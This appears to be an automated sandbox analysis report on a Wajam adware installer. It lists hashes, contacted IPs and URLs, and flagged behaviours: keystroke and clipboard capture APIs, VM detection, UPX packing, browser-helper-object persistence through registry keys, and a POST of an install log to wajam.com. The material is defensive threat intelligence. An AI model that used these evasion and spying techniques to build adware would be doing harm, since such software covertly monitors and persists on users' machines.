  File SHA256: 0e9683520e254094503ae0c381212e81554be09ec97039af0f61a0e6c8a225e2 (Date: 03/30/2018 20:31:48)
  File SHA256: adcb7a9c1fef0db1d03f63bb5dcb76bd0a0479c63d14645d106a257e16caec9b (AV positives: 29/68 scanned on 12/19/2017 23:30:42)
  File SHA256: 4681929e6c5344af2d54e85d3d9261a7371c8a0213ac95c970462ea1c32f65d4 (AV positives: 37/68 scanned on 12/07/2017 15:19:37)
  File SHA256: 36de74e3bfab5d938c77069b4fa4a190e0f8d7548a0892651fbe014913ecb2ce (AV positives: 15/64 scanned on 11/25/2017 16:49:35)
  File SHA256: db5d8a230105dd15216b90eea2de4407b5959602bfcf051f831bcbf11c564249 (AV positives: 31/68 scanned on 11/12/2017 20:54:25)
  Found malicious artifacts related to "192.229.163.25": ...
  
  URL: http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18 (AV positives: 1/67 scanned on 08/22/2018 12:09:25)
  URL: http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal (AV positives: 1/64 scanned on 01/30/2017 04:59:29)
  URL: https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg (AV positives: 1/67 scanned on 02/21/2016 16:11:36)
  URL: https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg (AV positives: 1/67 scanned on 02/21/2016 16:07:26)
  URL: https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg (AV positives: 1/67 scanned on 02/21/2016 15:59:12)
  File SHA256: 4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6 (Date: 06/18/2019 21:53:12)
  File SHA256: 19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc (Date: 06/17/2019 19:17:38)
  File SHA256: 5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155 (Date: 06/17/2019 19:17:27)
  File SHA256: e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3 (AV positives: 17/71 scanned on 12/22/2018 02:47:17)
  File SHA256: d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3 (AV positives: 1/70 scanned on 09/01/2018 00:06:05)
  File SHA256: 183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c (AV positives: 40/71 scanned on 08/03/2018 13:54:20)
  File SHA256: 4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2 (AV positives: 1/69 scanned on 07/07/2018 02:27:49)
  File SHA256: fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780 (AV positives: 28/68 scanned on 07/06/2018 17:51:09)
  File SHA256: 2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd (Date: 11/23/2017 14:52:33)
  File SHA256: 1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7 (Date: 11/23/2017 13:29:00)
  Found malicious artifacts related to "172.217.5.234": ...
  
  File SHA256: 1ca8850f3938ec72b5bdb571164424dd4d7b9bd247d378d7b58bba2457c09a35 (AV positives: 58/72 scanned on 05/15/2019 23:34:11)
  File SHA256: 100977320924b9f1b7f134c770daab86479b57f8e1d8f8c1f001c8b54241b477 (AV positives: 50/65 scanned on 02/28/2019 22:15:41)
  File SHA256: f4e04e9ab842c2e61b4bb4aab44fe58486c4b8a22c9517cc8bb39d8a18b8abde (AV positives: 48/64 scanned on 02/28/2019 22:55:42)
  File SHA256: e69e9a3bf88c203712ae998de30acfb994206897b64df3ab9a47707d6a591231 (Date: 05/12/2018 16:26:53)
  File SHA256: af3ee003a5ded63597b7fba40edeb8f7ca1e7c410b1dd72bf1aa04249de36947 (Date: 05/03/2018 20:29:36)
  File SHA256: fe0cabbd60c38b0a22048025480ea6a26af0cd4e0fe3a2aa36a5ce4866cc8a44 (Date: 04/26/2018 02:39:17)
  File SHA256: fa42d12d0c05c0c9c965d2cdd31d967a81b823553607319f976ea96e78032cc7 (Date: 02/07/2018 17:49:00)
  File SHA256: 0da465adf9c8d068245bd2cec3164f2956d14d3a771730bb30c4d452eaa6bd78 (Date: 12/22/2017 06:40:24)
  File SHA256: 9efef38d35eb6a917860e081b96259d4322be6583c2e6d6e3d18ceca5efd2218 (AV positives: 51/67 scanned on 12/21/2017 20:41:44)
  File SHA256: 44a7043877f2f5cb149df3ac39e13dba742240998ea55c9472044d7b09a11fa3 (AV positives: 35/68 scanned on 12/21/2017 14:53:27)
  Found malicious artifacts related to "74.125.192.155": ...
  
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1561689094.1430196265&jid=1743330473&_v=j35&z=1388274836 (AV positives: 1/63 scanned on 04/28/2015 04:45:35)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=982038166.1430196095&jid=339211618&_v=j35&z=1108641866 (AV positives: 1/63 scanned on 04/28/2015 04:43:02)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=616252409.1430195976&jid=803007462&_v=j35&z=1987499391 (AV positives: 1/63 scanned on 04/28/2015 04:40:47)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=789606747.1430195847&jid=2024444283&_v=j35&z=618399270 (AV positives: 1/63 scanned on 04/28/2015 04:39:59)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1863498444.1430195804&jid=1759761465&_v=j35&z=1909541938 (AV positives: 1/63 scanned on 04/28/2015 04:38:57)
  File SHA256: bfb33147f9b8bd5db589d5354a0d477217a926f8cd92617fc56467875f589086 (Date: 04/25/2019 03:59:15)
  File SHA256: 763238e897f996710e9a24c95f8e60015f630e3f0b1b74a2b9ffe0f255277dfb (AV positives: 22/54 scanned on 11/04/2014 10:31:17)
  File SHA256: 8679362afe8969e39c8a67bd10dc4f154067e9b1c67b774f41efb11315df5314 (AV positives: 20/53 scanned on 08/31/2014 19:10:16)
  File SHA256: e717b4a152e1951565d90cd594868766146f57248bc9e1e37f317f7234fd5f15 (AV positives: 1/52 scanned on 07/14/2014 16:36:14)
  File SHA256: 18cda4fc1d191ed1d9e2dd77513a0e7cb928651510b1053049e8cd86e4cf1886 (AV positives: 1/50 scanned on 06/05/2014 12:00:08)
  File SHA256: 38b88de0565dee0113b4576650a26548c5f95f1a1ab4ed96dfc5f07ce80503bb (AV positives: 1/51 scanned on 02/15/2014 02:41:46)
  Found malicious artifacts related to "151.139.244.29": ...
  
  URL: http://indigenouspathwaysus.com/page-9/Cache/Bookmark/Chase0n3 (AV positives: 7/70 scanned on 06/19/2019 01:56:47)
  URL: http://indigenouspathwaysus.com/page-4/page-6/files/Cookies (AV positives: 5/67 scanned on 06/09/2019 02:02:43)
  URL: http://indigenouspathwaysus.com/page-4/page-5/Cache (AV positives: 8/67 scanned on 06/08/2019 08:02:57)
  URL: http://indigenouspathwaysus.com/page-9/Cache/Bookmark (AV positives: 3/67 scanned on 06/05/2019 14:10:05)
  URL: http://indigenouspathwaysus.com/page-4/page-6/files (AV positives: 2/67 scanned on 05/29/2019 13:29:18)
  File SHA256: 05073af551fd4064cced8a8b13a4491125b3cd1f08defe3d3970b8211c46e6b2 (Date: 02/27/2019 00:35:26)
  File SHA256: 7a0403cd44fddb5c9d88965bdd3b26d0562de81b7945ddbc4f56651760a2fbe2 (AV positives: 1/68 scanned on 11/16/2018 18:18:57)
  File SHA256: 10e720e38144e87e99c07dd82eaa63bfd785063341333b9b043c9f8a697059dd (AV positives: 1/69 scanned on 11/15/2018 02:05:13)
  File SHA256: ca5cfea416c583e9c87fd99f6e45f52fd00d5ae1976ecc347624da14acb797c4 (AV positives: 1/68 scanned on 11/11/2018 02:00:31)
  File SHA256: 876c706dcfd4b5e58ab3024d0df69ced0b75562f2718a5447c0be9adb920d1fe (AV positives: 60/68 scanned on 10/30/2017 17:26:59)
  File SHA256: 40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3 (Date: 08/27/2017 21:46:48)
  File SHA256: 2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239 (Date: 08/03/2017 11:32:24)
  File SHA256: 248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945 (Date: 08/01/2017 18:11:30)
  File SHA256: 8f6136d4de51122f9bdefefeeeb57671c91f33fe18fb3b52e711b7fd23060410 (AV positives: 2/65 scanned on 07/28/2017 09:28:54)
  File SHA256: c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5 (Date: 06/09/2017 03:02:41)
  Found malicious artifacts related to "172.217.7.131": ...
  
  File SHA256: bf3f597d290ffec7e2dfa0a33c74954be5fac77f36327f055bb4b8f838d4f618 (AV positives: 56/71 scanned on 06/17/2019 21:56:27)
  File SHA256: fdbac1c1d4f4052212fcab4656bd52aa813de741f03a9ceb587dda72dde312a6 (AV positives: 56/71 scanned on 06/15/2019 23:04:55)
  File SHA256: 6931482d4043722c1cf08ed16ca42a7e3e32a28ff31fb34657364308761137eb (AV positives: 59/71 scanned on 06/09/2019 22:55:42)
  File SHA256: 3856c5245e63fd08e822622796f3b72b04ddb9e2d33c189c6b9e2d8056841c25 (AV positives: 55/73 scanned on 06/08/2019 23:54:55)
  File SHA256: 5ba27a2b0bdf609c4df9a5a11f834f4fdd7a85aaacb7c65a0165674977e99f42 (AV positives: 56/72 scanned on 06/07/2019 23:49:16)
  File SHA256: 52fca8adb64e8a8f8b81214a612bbd1555dcff0679d63b077493f9b15e4b9427 (Date: 03/14/2018 11:02:03)
  File SHA256: c6b2aa73eecbcd38bb48fad255cf25046aac7fb766853e659bbe4369b3067c63 (Date: 03/14/2018 10:50:40)
  File SHA256: b40d1341722014701bfbcb5bf3040c77e693917a8049c782079bfe88d0fb4ffe (Date: 01/11/2018 04:06:03)
  File SHA256: 2d186e84ef5c67ef6c1e660f0ddb9d91f1e1ff60876a93228e357188791900f4 (Date: 01/10/2018 20:13:31)
  File SHA256: 60fafbfeeb435fee4d68896409c320636a05796e7936bdbc7ec6c9bc696ecec1 (Date: 12/14/2017 04:46:01)
  Found malicious artifacts related to "104.244.42.72": ...
  
  URL: https://syndication.twitter.com/ (AV positives: 1/66 scanned on 03/22/2019 12:15:44)
  URL: https://syndication.twitter.com/i/jot/syndication?l={%22_category_%22:%22syndicated_impression%22
  %22event_namespace%22:{%22client%22:%22web%22
  %22page%22:%22profile%22
  %22action%22:%22impression%22}
  %22triggered_on%22:1553255746886} (AV positives: 1/66 scanned on 03/22/2019 12:14:30)
  File SHA256: a210a164b2cfb981e2a6a6aad36706e8342a3eab2c81093b682a6f7e8799ecc3 (AV positives: 3/71 scanned on 06/18/2019 09:39:00)
  File SHA256: 0957ab909d52abc91dea24cc6c627813126e05429c770e43ef85c1aac1e7a76e (AV positives: 18/70 scanned on 06/17/2019 11:35:18)
  File SHA256: e58587bcb5c1273652d361f77c356f91dd5ca9436b62c28aeab31ed2a4449906 (AV positives: 5/71 scanned on 06/17/2019 14:55:41)
  File SHA256: ec1f9759d95d8b3f8274bae612a66a847bbb479ba78221966517abbcf50ed387 (AV positives: 11/72 scanned on 06/17/2019 14:26:24)
  File SHA256: 78f70ff918b9aa5cfe0de07f604c7e4b88ebdab7e8a1a6066372307859ed83e5 (AV positives: 19/71 scanned on 06/16/2019 08:42:21)
  
  source
  
  Network Traffic
  
  relevance
  
  10/10
Unusual Characteristics
- Contains ability to reboot/shutdown the operating system
  
  details
  
  ExitWindowsEx@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  ExitWindowsEx@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  ExitWindowsEx@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  5/10
Hiding 1 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Suspicious Indicators 37
Anti-Detection/Stealthyness
- Contains ability to open/control a service
  
  details
  
  OpenServiceW@ADVAPI32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  OpenServiceW@ADVAPI32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  OpenServiceW@ADVAPI32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1035 (Show technique in the MITRE ATT&CK™ matrix)
- Queries kernel debugger information
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" at 00045479-00003408-00000105-5852349052
  
  source
  
  API Call
  
  relevance
  
  6/10
- Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES"; Value: "00000000040000000400000000000000")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Anti-Reverse Engineering
- PE file has unusual entropy sections
  
  details
  
  UPX1 with unusual entropies 7.54700394028
  
  source
  
  Static Parser
  
  relevance
  
  10/10
- PE file is packed with UPX
  
  details
  
  "GetVersion.dll" has a section named "UPX0"
  "GetVersion.dll" has a section named "UPX1"
  
  source
  
  Static Parser
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1045 (Show technique in the MITRE ATT&CK™ matrix)
Environment Awareness
- Contains ability to query CPU information
  
  details
  
  cpuid (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1082 (Show technique in the MITRE ATT&CK™ matrix)
- Found a reference to a WMI query string known to be used for VM detection
  
  details
  
  "Win32_NetworkAdapterConfiguration" (Indicator: "win32_networkadapterconfiguration"; File: "00045479-00003408.00000000.45801.0040A000.00000004.mdmp")
  "Win32_NetworkAdapter" (Indicator: "win32_networkadapter"; File: "00045479-00003408.00000000.45801.0040A000.00000004.mdmp")
  
  source
  
  File/Memory
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1047 (Show technique in the MITRE ATT&CK™ matrix)
- Reads the active computer name
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  "IE_approveExt.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  "WajamUpdater.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")
  
  source
  
  Registry Access
  
  relevance
  
  5/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
- Reads the cryptographic machine GUID
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
External Systems
- Found an IP/URL artifact that was identified as malicious by at least one reputation engine
  
  details
  
  1/66 reputation engines marked "http://www.wajam.com" as malicious (1% detection rate)
  1/70 reputation engines marked "http://stats.g.doubleclick.net" as malicious (1% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
General
- Contains ability to find and load resources of a specific module
  
  details
  
  FindResourceW@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  LoadResource@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  LoadResource@KERNEL32.DLL from IE_approveExt.exe (PID: 1096) (Show Stream)
  FindResourceW@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  LoadResource@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  LoadResource@KERNEL32.DLL from WajamUpdater.exe (PID: 3708) (Show Stream)
  LoadResource@KERNEL32.dll (Show Stream)
  FindResourceW@KERNEL32.dll (Show Stream)
  LoadResource@KERNEL32.dll (Show Stream)
  LoadResource@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- POSTs files to a webserver
  
  details
  
  "POST /client_send_debug_info.php?v=i1.92&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_version=1 HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  Filename: install.log
  User-Agent: NSIS_Inetc (Mozilla)
  Host: www.wajam.com
  Content-Length: 10769
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
- Reads configuration files
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" read file "%USERPROFILE%\Desktop\desktop.ini"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" read file "%WINDIR%\win.ini"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" read file "%PROGRAMFILES%\desktop.ini"
  
  source
  
  API Call
  
  relevance
  
  4/10
Installation/Persistance
- Drops executable files
  
  details
  
  "SimpleSC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "inetc.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "uninstall.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"
  "WajamUpdater.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  "priam_bho.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "ExecCmd.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "DcryptDll.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "IE_approveExt.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
  "GetVersion.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows UPX compressed"
  "IpConfig.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "nsisos.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
  "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "MoreInfo.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  
  source
  
  Binary File
  
  relevance
  
  10/10
- Modifies auto-execute functionality by setting/creating a value in the registry
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}")
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}"; Key: "(DEFAULT)"; Value: "Wajam IE BHO"), "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}"; Key: "NOEXPLORER"; Value: "01000000")
  
  source
  
  Registry Access
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1060 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Found potential IP address in binary/memory
  
  details
  
  "1.1.0.7"
  Heuristic match: "<versionentry groupname="Java(TM) 9" filename="jp2ssv.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="jp2ssv.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="jp2ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 9" filename="jp2iexp.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="jp2iexp.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="jp2iexp.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="ssv.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="wsdetect.dll" productversion="11.161.0.0-65535.65535.65535.65535" fileversion="8.0.1610.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="wsdetect.dll" productversion="10.171.0.0-10.65535.65535.65535" fileversion="7.0.1710.0-7.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.6" filename="wsdetect.dll" productversion="1.6.0.0-1.6.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 9" filename="deployJava1.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="deployJava1.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="deployJava1.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="npjpi*.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 9" filename="javaws.exe" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="javaws.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="javaws.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="jp2launcher.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="jp2launcher.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 9" filename="ssvagent.exe" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.8" filename="ssvagent.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="ssvagent.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  Heuristic match: "<versionentry groupname="Java(TM) 1.7" filename="unpack200.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" />"
  
  source
  
  File/Memory
  
  relevance
  
  3/10
- Sends traffic on typical HTTP outbound port, but without HTTP header
  
  details
  
  TCP traffic to 5.135.138.118 on port 80 is sent without HTTP header
  TCP traffic to 172.217.7.170 on port 80 is sent without HTTP header
  TCP traffic to 192.229.163.25 on port 80 is sent without HTTP header
  TCP traffic to 172.217.5.234 on port 80 is sent without HTTP header
  TCP traffic to 74.125.192.155 on port 443 is sent without HTTP header
  TCP traffic to 192.229.163.25 on port 443 is sent without HTTP header
  TCP traffic to 151.139.244.29 on port 80 is sent without HTTP header
  TCP traffic to 172.217.7.131 on port 80 is sent without HTTP header
  TCP traffic to 104.244.42.72 on port 443 is sent without HTTP header
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
Spyware/Information Retrieval
- Contains ability to open the clipboard
  
  details
  
  OpenClipboard@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  OpenClipboard@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1115 (Show technique in the MITRE ATT&CK™ matrix)
- Contains ability to retrieve keyboard strokes
  
  details
  
  GetAsyncKeyState@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetAsyncKeyState@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  GetAsyncKeyState@USER32.DLL from 6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1056 (Show technique in the MITRE ATT&CK™ matrix)
System Destruction
- Marks file for deletion
  
  details
  
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "%TEMP%\nskE156.tmp" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Program Files\Wajam\IE\IE_approveExt.exe" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\install2.log" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\end" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Program Files\Wajam\install.log" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\DcryptDll.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\dummy.htm" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\GetVersion.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\image.bmp" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\inetc.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\IpConfig.dll" for deletion
  "C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" marked "C:\Users\%USERNAME%\AppData\Local\Temp\nsfE187.tmp\MoreInfo.dll" for deletion
